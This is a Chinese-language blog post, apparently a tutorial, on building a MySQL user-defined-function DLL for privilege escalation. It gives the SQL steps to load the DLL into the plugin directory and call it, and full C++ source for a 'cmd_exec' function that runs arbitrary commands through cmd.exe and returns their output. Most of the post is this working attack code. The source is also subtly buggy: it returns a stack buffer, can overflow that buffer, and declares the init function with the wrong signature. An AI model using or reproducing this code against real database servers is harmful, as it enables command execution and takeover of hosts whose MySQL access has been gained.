以前看过一篇老外的文章讲mysql udf提权原理,这篇文章中针对kali自带的mysql 提权udf.dll进行了解释,但是并没有介绍如何编写一个标准的udf扩展。
后来有个朋友托我帮他改下udf.dll,把其他功能去掉,只留下cmd_shell这个命令执行的功能
开始我以为随便写个dll,然后导出个函数,就可以用mysql加载并调用了。
原来需要按照mysql手册指定的格式去编写,其中必须用到mysql.h这个头文件,
可以在这里下载一个Connector C msi的安装包,安装完里面有个include
的文件夹,直接拷到项目目录下就行了
具体开发步骤,可以参考官方文档:https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
比如我要实现的函数名叫cmd_exec
,必须也要声明一个cmd_exec_init
的函数才行,这个函数是要做一个初始化工作,申请内存什么的。
查看mysql的扩展路径,得到mysql的扩展路径后,把编译好的扩展dll放进去
select @@plugin_dir()
然后在mysql中导入扩展dll中的函数
CREATE FUNCTION cmd_exec returns STRING SONAME 'test.dll';
使用扩展函数
select cmd_exec("calc.exe");
删除扩展函数
drop function cmd_exec;
下面是我写的cmd_exec 扩展dll源码
#include "stdafx.h"
#include "windows.h"
#include <stdio.h>
#include "./include/mysql.h"
extern "C" __declspec(dllexport) my_bool cmd_exec_init()
{
return 0;
}
extern "C" __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得
sa.lpSecurityDescriptor = NULL;//安全描述符
sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建ÆÆ的进程继承
// Create anoymous pipe:
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)
{
return "Create anoymous pipe failed\n";
}
// Create Child Process:
PROCESS_INFORMATION pInfo = { 0 };
STARTUPINFOA stInfo = { 0 };
stInfo.cb = sizeof(STARTUPINFO);
stInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
stInfo.hStdOutput = hWritePipe;
stInfo.hStdError = hWritePipe;
// get
char cmd_buf[4096] = { 0 };
sprintf(cmd_buf,"/c %s", args->attributes[0], args->attribute_lengths[0]);
if (!CreateProcessA("c:\\windows\\system32\\cmd.exe", cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &stInfo, &pInfo))
{
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
return "Create child process failed!\n";
}
CloseHandle(hWritePipe);
// command buffer
char lpBuffer[4096];
DWORD lpBytesRead = 0;
while (PeekNamedPipe(hReadPipe, lpBuffer, 4096, &lpBytesRead, NULL, NULL))
{
if (lpBytesRead)
{
ReadFile(hReadPipe, lpBuffer, lpBytesRead, &lpBytesRead, NULL);
lpBuffer[lpBytesRead] = '\0';
return lpBuffer;
}
}
WaitForSingleObject(pInfo.hProcess, INFINITE);
CloseHandle(hReadPipe);
return "nothing!!!";
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}